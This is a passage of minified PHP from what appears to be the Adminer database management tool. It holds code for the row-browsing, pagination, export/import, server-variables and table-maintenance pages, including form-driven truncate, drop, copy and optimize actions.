as$Kd=>$W)$_.=where_link($s++,$Kd,$W);}$X=select_value($X,$_,$o,$uh);$t=h("val[$Vh][".bracket_escape($y)."]");$Y=$_POST["val"][$Vh][bracket_escape($y)];$hc=!is_array($K[$y])&&is_utf8($X)&&$L[$Ce][$y]==$K[$y]&&!$Zc[$y];$th=preg_match('~text|lob~',$o["type"]);if(($_GET["modify"]&&$hc)||$Y!==null){$fd=h($Y!==null?$Y:$K[$y]);echo"<td>".($th?"<textarea name='$t' cols='30' rows='".(substr_count($K[$y],"\n")+1)."'>$fd</textarea>":"<input name='$t' value='$fd' size='$ce[$y]'>");}else{$ge=strpos($X,"<i>...</i>");echo"<td id='$t' onclick=\"selectClick(this, event, ".($ge?2:($th?1:0)).($hc?"":", '".h(lang(250))."'").");\">$X";}}}if($Pa)echo"<td>";$b->backwardKeysPrint($Pa,$L[$Ce]);echo"</tr>\n";}if(is_ajax())exit;echo"</table>\n";}if(($L||$E)&&!is_ajax()){$wc=true;if($_GET["page"]!="last"){if(!+$z)$Wc=count($L);elseif($x!="sql"||!$Ed){$Wc=($Ed?false:found_rows($S,$Z));if($Wc<max(1e4,2*($E+1)*$z))$Wc=reset(slow_query(count_rows($a,$Z,$Ed,$cd)));else$wc=false;}}if(+$z&&($Wc===false||$Wc>$z||$E)){echo"<p class='pages'>";$ne=($Wc===false?$E+(count($L)>=$z?2:1):floor(($Wc-1)/$z));if($x!="simpledb"){echo'<a href="'.h(remove_from_uri("page"))."\" onclick=\"pageClick(this.href, +prompt('".lang(251)."', '".($E+1)."'), event); return false;\">".lang(251)."</a>:",pagination(0,$E).($E>5?" ...":"");for($s=max(1,$E-4);$s<min($ne,$E+5);$s++)echo pagination($s,$E);if($ne>0){echo($E+5<$ne?" ...":""),($wc&&$Wc!==false?pagination($ne,$E):" <a href='".h(remove_from_uri("page")."&page=last")."' title='~$ne'>".lang(252)."</a>");}echo(($Wc===false?count($L)+1:$Wc-$E*$z)>$z?' <a href="'.h(remove_from_uri("page")."&page=".($E+1)).'" onclick="return !selectLoadMore(this, '.(+$z).', \''.lang(253).'...\');" class="loadmore">'.lang(254).'</a>':'');}else{echo lang(251).":",pagination(0,$E).($E>1?" ...":""),($E?pagination($E,$E):""),($ne>$E?pagination($E+1,$E).($ne>$E+1?" ...":""):"");}}echo"<p class='count'>\n",($Wc!==false?"(".($wc?"":"~ ").lang(142,$Wc).") ":"");$Ub=($wc?"":"~ ").$Wc;echo checkbox("all",1,0,lang(255),"var checked = formChecked(this, /check/); selectCount('selected', this.checked ? '$Ub' : checked); selectCount('selected2', this.checked || !checked ? '$Ub' : checked);")."\n";if($b->selectCommandPrint()){echo'<fieldset',($_GET["modify"]?'':' class="jsonly"'),'><legend>',lang(247),'</legend><div> <input type="submit" value="',lang(14),'"',($_GET["modify"]?'':' title="'.lang(243).'"'),'> </div></fieldset> <fieldset><legend>',lang(118),' <span id="selected"></span></legend><div> <input type="submit" name="edit" value="',lang(10),'"> <input type="submit" name="clone" value="',lang(237),'"> <input type="submit" name="delete" value="',lang(18),'"',confirm(),'> </div></fieldset> ';}$Uc=$b->dumpFormat();foreach((array)$_GET["columns"]as$d){if($d["fun"]){unset($Uc['sql']);break;}}if($Uc){print_fieldset("export",lang(70)." <span id='selected2'></span>");$of=$b->dumpOutput();echo($of?html_select("output",$of,$ya["output"])." ":""),html_select("format",$Uc,$ya["format"])," <input type='submit' name='export' value='".lang(70)."'>\n","</div></fieldset>\n";}echo(!$cd&&$M?"":"<script type='text/javascript'>tableCheck();</script>\n");}if($b->selectImportPrint()){print_fieldset("import",lang(69),!$L);echo"<input type='file' name='csv_file'> ",html_select("separator",array("csv"=>"CSV,","csv;"=>"CSV;","tsv"=>"TSV"),$ya["format"],1);echo" <input type='submit' name='import' value='".lang(69)."'>","</div></fieldset>\n";}$b->selectEmailPrint(array_filter($mc,'strlen'),$e);echo"<p><input type='hidden' name='token' value='$Dh'></p>\n","</form>\n";}}if(is_ajax()){ob_end_clean();exit;}}elseif(isset($_GET["variables"])){$P=isset($_GET["status"]);page_header($P?lang(109):lang(108));$ki=($P?show_status():show_variables());if(!$ki)echo"<p class='message'>".lang(12)."\n";else{echo"<table cellspacing='0'>\n";foreach($ki as$y=>$X){echo"<tr>","<th><code class='jush-".$x.($P?"status":"set")."'>".h($y)."</code>","<td>".nbsp($X);}echo"</table>\n";}}elseif(isset($_GET["script"])){header("Content-Type: text/javascript; charset=utf-8");if($_GET["script"]=="db"){$dh=array("Data_length"=>0,"Index_length"=>0,"Data_free"=>0);foreach(table_status()as$C=>$S){json_row("Comment-$C",nbsp($S["Comment"]));if(!is_view($S)){foreach(array("Engine","Collation")as$y)json_row("$y-$C",nbsp($S[$y]));foreach($dh+array("Auto_increment"=>0,"Rows"=>0)as$y=>$X){if($S[$y]!=""){$X=format_number($S[$y]);json_row("$y-$C",($y=="Rows"&&$X&&$S["Engine"]==($Tg=="pgsql"?"table":"InnoDB")?"~ $X":$X));if(isset($dh[$y]))$dh[$y]+=($S["Engine"]!="InnoDB"||$y!="Data_free"?$S[$y]:0);}elseif(array_key_exists($y,$S))json_row("$y-$C");}}}foreach($dh as$y=>$X)json_row("sum-$y",format_number($X));json_row("");}elseif($_GET["script"]=="kill")$g->query("KILL ".number($_POST["kill"]));else{foreach(count_tables($b->databases())as$m=>$X){json_row("tables-$m",$X);json_row("size-$m",db_size($m));}json_row("");}exit;}else{$mh=array_merge((array)$_POST["tables"],(array)$_POST["views"]);if($mh&&!$n&&!$_POST["search"]){$I=true;$se="";if($x=="sql"&&count($_POST["tables"])>1&&($_POST["drop"]||$_POST["truncate"]||$_POST["copy"]))queries("SET foreign_key_checks = 0");if($_POST["truncate"]){if($_POST["tables"])$I=truncate_tables($_POST["tables"]);$se=lang(256);}elseif($_POST["move"]){$I=move_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$se=lang(257);}elseif($_POST["copy"]){$I=copy_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$se=lang(258);}elseif($_POST["drop"]){if($_POST["views"])$I=drop_views($_POST["views"]);if($I&&$_POST["tables"])$I=drop_tables($_POST["tables"]);$se=lang(259);}elseif($x!="sql"){$I=($x=="sqlite"?queries("VACUUM"):apply_queries("VACUUM".($_POST["optimize"]?"":" ANALYZE"),$_POST["tables"]));$se=lang(260);}elseif(!$_POST["tables"])$se=lang(9);elseif($I=queries(($_POST["optimize"]?"OPTIMIZE":($_POST["check"]?"CHECK":($_POST["repair"]?"REPAIR":"ANALYZE")))." TABLE ".implode(", ",array_map('idf_escape',$_POST["tables"])))){while($K=$I->fetch_assoc())$se.="<b>".h($K["Table"])."</b>: ".h($K["Msg_text"])."<br>";}queries_redirect(substr(ME,0,-1),$se,$I);}page_header(($_GET["ns"]==""?lang(35).": ".h(DB):lang(73).": ".h($_GET["ns"])),$n,true);if($b->homepage()){if($_GET["ns"]!==""){echo"<h3 id='tables-views'>".lang(261)."</h3>\n";$lh=tables_list();if(!$lh)echo"<p class='message'>".lang(9)."\n";else{echo"<form action='' method='post'>\n";if(support("table")){echo"<fieldset><legend>".lang(262)." <span id='selected2'></span></legend><div>","<input type='search' name='query' value='".h($_POST["query"])."'> <input type='submit' name='search' value='".lang(53)."'>\n","</div></fieldset>\n";if($_POST["search"]&&$_POST["query"]!="")search_tables();}$Vb=doc_link(array('sql'=>'show-table-status.html'));echo"<table cellspacing='0' class='nowrap checkable' onclick='tableClick(event);' ondblclick='tableClick(event, true);'>\n",'<thead><tr class="wrap"><td><input id="check-all" type="checkbox" onclick="formCheck(this, /^(tables|views)\[/);" class="jsonly">','<th>'.lang(123),'<td>'.lang(263).doc_link(array('sql'=>'storage-engines.html')),'<td>'.lang(114).doc_link(array('sql'=>'charset-mysql.html')),'<td>'.lang(264).$Vb,'<td>'.lang(265).$Vb,'<td>'.lang(266).$Vb,'<td>'.lang(48).doc_link(array('sql'=>'example-auto-increment.html')),'<td>'.lang(267).$Vb,(support("comment")?'<td>'.lang(47).$Vb:''),"</thead>\n";$T=0;foreach($lh as$C=>$U){$ni=($U!==null&&!preg_match('~table~i',$U));$t=h("Table-".$C);echo'<tr'.odd().'><td>'.checkbox(($ni?"views[]":"tables[]"),$C,in_array($C,$mh,true),"","formUncheck('check-all');","",$t),'<th>'.(support("table")||support("indexes")?"<a href='".h(ME)."table=".urlencode($C)."' title='".lang(40)."' id='$t'>".h($C).'</a>':h($C));if($ni){echo'<td colspan="6"><a href="'.h(ME)."view=".urlencode($C).'" title="'.lang(41).'">'.(preg_match('~materialized~i',$U)?lang(121):lang(122)).'</a>','<td align="right"><a href="'.h(ME)."select=".urlencode($C).'" title="'.lang(39).'">?</a>';}else{foreach(array("Engine"=>array(),"Collation"=>array(),"Data_length"=>array("create",lang(42)),"Index_length"=>array("indexes",lang(125)),"Data_free"=>array("edit",lang(43)),"Auto_increment"=>array("auto_increment=1&create",lang(42)),"Rows"=>array("select",lang(39)),)as$y=>$_){$t=" id='$y-".h($C)."'";echo($_?"<td align='right'>".(support("table")||$y=="Rows"||(support("indexes")&&$y!="Data_length")?"<a href='".h(ME."$_[0]=").urlencode($C)."'$t title='$_[1]'>?</a>":"<span$t>?</span>"):"<td id='$y-".h($C)."'> ");}$T++;}echo(support("comment")?"<td id='Comment-".h($C)."'> ":"");}echo"<tr><td> <th>".lang(238,count($lh)),"<td>".nbsp($x=="sql"?$g->result("SELECT @@storage_engine"):""),"<td>".nbsp(db_collation(DB,collations()));foreach(array("Data_length","Index_length","Data_free")as$y)echo"<td align='right' id='sum-$y'> ";echo"</table>\n";if(!information_schema(DB)){$hi="<input type='submit' value='".lang(268)."'".on_help("'VACUUM'")."> ";$Ze="<input type='submit' name='optimize' value='".lang(269)."'".on_help($x=="sql"?"'OPTIMIZE TABLE'":"'VACUUM OPTIMIZE'")."> ";echo"<fieldset><legend>".lang(118)." <span id='selected'></span></legend><div>".($x=="sqlite"?$hi:($x=="pgsql"?$hi.$Ze:($x=="sql"?"<input type='submit' value='".lang(270)."'".on_help("'ANALYZE TABLE'")."> ".$Ze."<input type='submit' name='check' value='".lang(271)."'".on_help("'CHECK TABLE'")."> "."<input type='submit' name='repair' value='".lang(272)."'".on_help("'REPAIR TABLE'")."> ":"")))."<input type='submit' name='truncate' value='".lang(273)."'".confirm().on_help($x=="sqlite"?"'DELETE'":"'TRUNCATE".($x=="pgsql"?"'":" TABLE'"))."> "."<input type='submit' name='drop' value='".lang(119)."'".confirm().on_help("'DROP TABLE'").">\n";$l=(support("scheme")?$b->schemas():$b->databases());if(count($l)!=1&&$x!="sqlite"){$m=(isset($_POST["target"])?$_POST["target"]:(support("scheme")?$_GET["ns"]:DB));echo"<p>".lang(274).": ",($l?html_select("target",$l,$m):'<input name="target" value="'.h($m).'" autocapitalize="off">')," <input type='submit' name='move' value='".lang(275)."'>",(support("copy")?" <input type='submit' name='copy' value='".lang(276)."'>":""),"\n";}echo"<input type='hidden' name='all' value='' onclick=\"selectCount('selected', formChecked(this, /^(tables|views)\[/));".(support("table")?" selectCount('selected2', formChecked(this, /^tables\[/) || $T);":"")."\">\n";echo"<input type='hidden' name='token' value='$Dh'>\n","</div></fieldset>\n";}echo"</form>\n","<script type='text/javascript'>tableCheck();</script>\n";}echo'<p class="links"><a href="'.h(ME).'create=">'.lang(71)."</a>\n",(support("view")?'<a href="'.h(ME).'view=">'.lang(195)."</a>\n":"");if(support("routine")){echo"<h3 id='routines'>".lang(135)."</h3>\n";$tg=routines();if($tg){echo"<table cellspacing='0'>\n",'<thead><tr><th>'.lang(174).'<td>'.lang(46).'<td>'.lang(212)."<td> </thead>\n";odd('');foreach($tg as$K){echo'<tr'.odd().'>','<th><a href="'.h(ME).($K["ROUTINE_TYPE"]!="PROCEDURE"?'callf=':'call=').urlencode($K["ROUTINE_NAME"]).'">'.h($K["ROUTINE_NAME"]).'</a>','<td>'.h($K["ROUTINE_TYPE"]),'<td>'.h($K["DTD_IDENTIFIER"]),'<td><a href="'.h(ME).($K["ROUTINE_TYPE"]!="PROCEDURE"?'function=':'procedure=').urlencode($K["ROUTINE_NAME"]).'">'.lang(128)."</a>";}echo"</table>\n";}echo'<p class="links">'.(support("procedure")?'<a href="'.h(ME).'procedure=">'.lang(211).'</a>':'').'<a href="'.h(ME).'function=">'.lang(210)."</a>\n";}if(support("sequence")){echo"<h3 id='sequences'>".lang(277)."</h3>\n";$Fg=get_vals("SELECT sequence_name FROM information_schema.sequences WHERE sequence_schema = current_schema() ORDER BY sequence_name");if($Fg){echo"<table cellspacing='0'>\n","<thead><tr><th>".lang(174)."</thead>\n";odd('');foreach($Fg as$X)echo"<tr".odd()."><th><a href='".h(ME)."sequence=".urlencode($X)."'>".h($X)."</a>\n";echo"</table>\n";}echo"<p class='links'><a href='".h(ME)."sequence='>".lang(217)."</a>\n";}if(support("type")){echo"<h3 id='user-types'>".lang(24)."</h3>\n";$fi=types();if($fi){echo"<table cellspacing='0'>\n","<thead><tr><th>".lang(174)."</thead>\n";odd('');foreach($fi as$X)echo"<tr".odd()."><th><a href='".h(ME)."type=".urlencode($X)."'>".h($X)."</a>\n";echo"</table>\n";}echo"<p class='links'><a href='".h(ME)."type='>".lang(221)."</a>\n";}if(support("event")){echo"<h3 id='events'>".lang(136)."</h3>\n";$L=get_rows("SHOW EVENTS");if($L){echo"<table cellspacing='0'>\n","<thead><tr><th>".lang(174)."<td>".lang(278)."<td>".lang(201)."<td>".lang(202)."<td></thead>\n";foreach($L as$K){echo"<tr>","<th>".h($K["Name"]),"<td>".($K["Execute at"]?lang(279)."<td>".$K["Execute at"]:lang(203)." ".$K["Interval value"]." ".$K["Interval field"]."<td>$K[Starts]"),"<td>$K[Ends]",'<td><a href="'.h(ME).'event='.urlencode($K["Name"]).'">'.lang(128).'</a>';}echo"</table>\n";$uc=$g->result("SELECT @@event_scheduler");if($uc&&$uc!="ON")echo"<p class='error'><code class='jush-sqlset'>event_scheduler</code>: ".h($uc)."\n";}echo'<p class="links"><a href="'.h(ME).'event=">'.lang(200)."</a>\n";}if($lh)echo"<script type='text/javascript'>ajaxSetHtml('".js_escape(ME)."script=db');</script>\n";}}}page_footer();
Close